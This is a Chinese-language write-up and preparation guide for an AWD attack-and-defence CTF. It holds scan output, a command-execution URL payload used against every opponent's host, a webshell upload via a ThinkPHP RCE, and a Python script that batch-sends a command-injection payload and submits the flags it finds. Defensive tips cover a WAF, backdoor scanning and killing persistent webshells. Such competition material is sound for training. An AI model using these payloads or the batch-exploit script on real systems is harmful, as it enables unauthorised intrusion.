目录
解题思路]
首先就是fscan快速扫描对应C段, 发现对应103的C段存活85个主机。
继续扫描
(icmp) Target | 192.168.103.3 | is | alive |
---|---|---|---|
(icmp) Target | 192.168.103.2 | is | alive |
(icmp) Target | 192.168.103.5 | is | alive |
(icmp) Target | 192.168.103.6 | is | alive |
(icmp) Target | 192.168.103.4 | is | alive |
(icmp) Target | 192.168.103.9 | is | alive |
(icmp) Target | 192.168.103.12 | is | alive |
(icmp) Target | 192.168.103.10 | is | alive |
(icmp) Target | 192.168.103.15 | is | alive |
(icmp) Target | 192.168.103.16 | is | alive |
(icmp) Target | 192.168.103.14 | is | alive |
(icmp) Target | 192.168.103.19 | is | alive |
(icmp) Target | 192.168.103.20 | is | alive |
(icmp) Target | 192.168.103.23 | is | alive |
(icmp) Target | 192.168.103.22 | is | alive |
(icmp) Target | 192.168.103.25 | is | alive |
---|---|---|---|
(icmp) Target | 192.168.103.28 | is | alive |
(icmp) Target | 192.168.103.27 | is | alive |
(icmp) Target | 192.168.103.24 | is | alive |
(icmp) Target | 192.168.103.26 | is | alive |
(icmp) Target | 192.168.103.30 | is | alive |
(icmp) Target | 192.168.103.31 | is | alive |
(icmp) Target | 192.168.103.32 | is | alive |
(icmp) Target | 192.168.103.36 | is | alive |
(icmp) Target | 192.168.103.37 | is | alive |
(icmp) Target | 192.168.103.35 | is | alive |
(icmp) Target | 192.168.103.39 | is | alive |
(icmp) Target | 192.168.103.38 | is | alive |
(icmp) Target | 192.168.103.43 | is | alive |
(icmp) Target | 192.168.103.44 | is | alive |
(icmp) Target | 192.168.103.45 | is | alive |
(icmp) Target | 192.168.103.47 | is | alive |
(icmp) Target | 192.168.103.49 | is | alive |
(icmp) Target | 192.168.103.52 | is | alive |
(icmp) Target | 192.168.103.50 | is | alive |
(icmp) Target | 192.168.103.55 | is | alive |
(icmp) Target | 192.168.103.56 | is | alive |
(icmp) Target | 192.168.103.59 | is | alive |
(icmp) Target | 192.168.103.60 | is | alive |
(icmp) Target | 192.168.103.58 | is | alive |
(icmp) Target | 192.168.103.57 | is | alive |
(icmp) Target | 192.168.103.61 | is | alive |
(icmp) Target | 192.168.103.63 | is | alive |
(icmp) Target | 192.168.103.62 | is | alive |
(icmp) Target | 192.168.103.65 | is | alive |
(icmp) Target | 192.168.103.67 | is | alive |
(icmp) Target | 192.168.103.71 | is | alive |
(icmp) Target | 192.168.103.68 | is | alive |
(icmp) Target | 192.168.103.69 | is | alive |
(icmp) Target | 192.168.103.73 | is | alive |
(icmp) Target | 192.168.103.74 | is | alive |
(icmp) Target | 192.168.103.70 | is | alive |
(icmp) Target | 192.168.103.72 | is | alive |
(icmp) Target | 192.168.103.80 | is | alive |
---|---|---|---|
(icmp) Target | 192.168.103.76 | is | alive |
(icmp) Target | 192.168.103.75 | is | alive |
(icmp) Target | 192.168.103.79 | is | alive |
(icmp) Target | 192.168.103.77 | is | alive |
(icmp) Target | 192.168.103.78 | is | alive |
(icmp) Target | 192.168.103.81 | is | alive |
(icmp) Target | 192.168.103.82 | is | alive |
(icmp) Target | 192.168.103.84 | is | alive |
(icmp) Target | 192.168.103.88 | is | alive |
(icmp) Target | 192.168.103.89 | is | alive |
(icmp) Target 等等等等 | 192.168.103.91 | is | alive |
好笑的是我们比赛之前先上了其他队的kali,哈哈弱口令1
之后。发现都开启了对应的端口,尤其是ssh 22端口开放,根据裁判声明,直接尝试登录 其他主队主机。
因为有三个题,在当时做的时候,刚开始登陆过题目一所在主机,但只获取的对应 flag,忘记进行审计代码,忽略掉
第二道题为PHP类型的,这里忘记截图了,审计代码发现存在一个php文件, 里面 含有命令执行功能。
这是一道通杀:访问 http:ơurl/demo.php?cmd1=cat /flag 即可拿到 flag,于是凭借这个思路,拿下全部存活主机flag (部分做出防护的,未拿下)
第三道题为java,这道题是最后才找到代码开始审计,也是发现相关执行系统命令 的功能,但是时间不够,没有做出来
呼叫队友对存活主机继续尝试ssh连接拿flag。
下面附上部分截图
攻击成果
直接漏洞,发现开启了80、22、8080端口,并且在8080发现poc,看上面写
的是tp5.0.23版本的RCE,拿工具直接打
如上图,可以看到存在两个漏洞,但不能直接命令执行,尝试上传webshell
看到上传成功,之后蚁剑连接,根目录拿到第一个flag
依旧fscan漏扫,发现存在敏感文件泄露,访问之后得到zip,尝试压缩发现需要密
码
这里尝试了弱口令,拿到flag
还有后面在那个里面还有流量分析,可以获得flag
DiffMerge 是一个强大的文件比较工具
打开俩个文件夹,可以进行比较
如果不同会标记
然后双击打开,查看不同
免费好用的Diff和Merge工具大总结 - hfyfpga - 博客园 (cnblogs.com)
D盾导入文件就可以扫描文件中漏洞,将网站的文件下载下来
自定义扫描,放进D盾扫描,会爆后面,5基本上是后门了
还有iis防火墙防御,还没用不知道什么样子的
watchbird Releases · leohearts/awd-watchbird · GitHub
易于配置(单文件, 无需加载外部js/css)
可以随时开启/关闭某项防御
基本防御:
数据库注入(sql injection)
文件上传(upload)
文件包含(lfi)
flag关键字
PHP反序列化(unserialize)
命令执行(rce)
分布式拒绝服务攻击(ddos)
请求头,请求参数(GET/POST)关键字
特殊字符
深度防御:
响应检测/反向代理(默认将流量发送至本地服务器自检,可配置代理服务器IP及端口实现反代功能)
响应flag检测并返回虚假flag
基于LD_PRELOAD的指令执行保护
基于open_basedir的PHP文件操作保护
网页控制台:
功能开关及配置
实时日志查看
日志流量重放, 可广播流量至指定网段, 支持提取flag自动提交
RCE/文件上传/深度检测 防御通知(由于chrome无法允许不安全的网站(无SSL证书)显示通知,请使用Firefox并修改about:config中dom.webnotifications.allowinsecure为true)
工具部署
1.下载最新 release 2.将waf.so,watchbird.php文件存放在/var/www/html或其他目录中 3.将watchbird.php放在www-data可读的目录, 确保当前用户对目标目录可写, 然后执行php watchbird.php --install [Web目录], 安装器将输出安装了watchbird的文件路径 4.访问任意启用了waf的文件, 参数?watchbird=ui打开watchbird控制台, 创建一个初始密码 5.如需卸载, 请在相同的位置输入php watchbird.php --uninstall [Web目录], 如果您多次运行了安装, 请多次运行卸载直到卸载器无输出 6.将以下代码放入需要启用waf的php脚本的第一行 6.enjoy it!
多准备点其他的比如数Tomcat就要用java的waf
Seay源码审计系统
可以自动审计,也可手动审计
ihoneyBakFileScan
简介
网站备份文件泄露可能造成的危害:
1. 网站存在备份文件:网站存在备份文件,例如数据库备份文件、网站源码备份文件等,攻击者利用该信息可以更容易得到网站权限,导致网站被黑。 2. 敏感文件泄露是高危漏洞之一,敏感文件包括数据库配置信息,网站后台路径,物理路径泄露等,此漏洞可以帮助攻击者进一步攻击,敞开系统的大门。 3. 由于目标备份文件较大(xxx.G),可能存在更多敏感数据泄露 4. 该备份文件被下载后,可以被用来做代码审计,进而造成更大的危害 5. 该信息泄露会暴露服务器的敏感信息,使攻击者能够通过泄露的信息进行进一步入侵。
下安裝后的操作
批量url扫描 python3.5 ihoneyBakFileScan.py -t 100 -f url.txt 单个url扫描 python3.5 ihoneyBakFileScan.py -u https://www.ihoneysec.top/ python3.5 ihoneyBakFileScan.py -u www.ihoney.net.cn python3.5 ihoneyBakFileScan.py -u www.ihoney.net.cn -d dict.txt
首先下载所有漏洞的库和poc
然后用ehole扫描指纹
然后安装Listary
双击ctrl,弹出输入扫出的cms,对应的漏洞库漏洞,然后复现
这个很重要一定要提前写好,比如到时候很浪费时间,我第一次打AWD的时候就脚本问题,好浪费时间 下面是一个工具和提交写在一起脚本
import requests import re path = '/WebApi/competitionCyberRange/static/base/#/competition/route/competiManage/competiAnswer' # 攻击路径 headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0', 'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2', 'Accept-Encoding': 'gzip, deflate', 'Connection': 'close', 'Cookie': 'JSESSIONID=823B9BC42B2A423CD515CEAEC3ECCDAA' } data = { 'ip': '127.0.0.1|arp -a', 'Submit': 'Submit' } #flag提交地址 url_flag = 'http://10.0.0.1/submit.php?token=123456&flag=' #批量攻击和提交 def attack(): with open('urls.txt', 'r') as file: for line in file: url = line.strip() + path # 攻击url ret = requests.post(url=url, headers=headers, data=data, timeout=10) #print("Response:", ret.text) # 调试输出 flag_match = re.search(r'flag\{.+\}', ret.text) if flag_match: flag = flag_match.group() print("Flag:", flag) flag_url = url_flag + flag #res = requests.post(url=flag_url,headers=headers,timeout=2) #注意这里的headers可能有问题,需要根据实际情况修改 print(res.text) else: print(line.strip() + " Flag not found") attack()
改密码 (如果每个队服务器密码一样的话,很容易被人给脚本改密码)
备份(最少三份)
D盾扫后门,删除后门
漏洞修复
上waf
关进程
22,445,139端口,80-89web服务不用关闭等等
1.先扫描自己端口信息 一般先搜集自己的主机端口信息,比赛主机开放端口情况大多情况一致,然后类比指定扫描其他主机端口信息,最后挂后台全端口扫描防止端口遗漏
2.一般工具扫描
3.通过自己的弱点去攻击其他人的服务器
1.Token是用于脚本身份凭证用于自动化提交鉴别。虚拟IP为靶机访问网址。其他选手地址可能就为192-168-x-250.pvp923.bugku.cn,x可以是1-255内任一个数字。
主机探测一般使用nmap或者是httpscan
nmap -sn 192.168.0.0/24 #扫描c段主机存活 nmap -sV 192.168.0.2 #扫描主机系统版本 nmap -sS 192.168.0.2 #扫描主机常用端口 nmap -sS -p 80,445 192.168.0.2 #扫描主机部分端口 nmap -sS -p- 192.168.0.2 #扫描主机全部端口 hhtpscan.py 192.168.0.0/24 -t 10 #同上
2.输入赛方提供的用户名和密码进行登录,用户权限一般较低。有时候会用RSA公钥登录的方式进行登录。或者是其他加密方式
3.端口利用方式未授权访问和弱口令漏洞
4.找到主配置文件
find / -name "nginx.conf" #定位nginx目录 find / -path "*nginx*" -name nginx*conf #定位nginx配置目录 find / -name "httpd.conf" #定位apache目录 find / -path "*apache*" -name apache*conf #定位apache配置目录 find / -name "index.php"
5.这个是参考,自动化利用工具扫描https://github.com/sry309/ihoneyBakFileScan 多进程批量网站备份文件泄露扫描工具
批量url扫描 python3.5 ihoneyBakFileScan.py -t 100 -f url.txt 单个url扫描 python3.5 ihoneyBakFileScan.py -u https://www.ihoneysec.top/ python3.5 ihoneyBakFileScan.py -u www.ihoney.net.cn python3.5 ihoneyBakFileScan.py -u www.ihoney.net.cn -d dict.txt
6.杀死不死马
ps auxww|grep shell.php
找到pid后杀掉进程
循环杀进程
ps aux|grep www-data|awk '{print $2}'|xargs kill
重启php等web服务
service php-fpm restart
用一个ignore_user_abort(true)脚本,一直竞争写入(断断续续)
创建一个和不死马生成的马一样名字的文件夹 mkdir 1.php
循环创建
#!/bin/bash dire="/var/www/html/.base.php/" file="/var/www/html/.base.php" rm -rf $file mkdir $dire ./xx.sh
7.在攻击web服务的时候说下两种情况 一种是已有漏洞的框架,一种是出题人写的框架。如果是已有漏洞的框架,通常会比较明显。比如说Struts2各种漏洞等等,用工具扫就可以扫出来。这个需要准备得比较充分,在电脑中备好 EXP 库、漏洞库和各种扫描工具库,以便能够快速利用比较明显的漏洞。
另一种情况就是分析WEB日志,学习其他选手攻击思路和漏洞利用过程,也是一个不错的得分途径。
8.网站备份目的是防止源码出错,或者是被对手恶意删除代码,或快速回复网站防止被裁判组check探测服务存活失败丢分
9.数据备份,数据库配置信息一般可以通过他的config.php/web.con等文件获取 10.注意内存马上了,会让服务器宕机,没法重启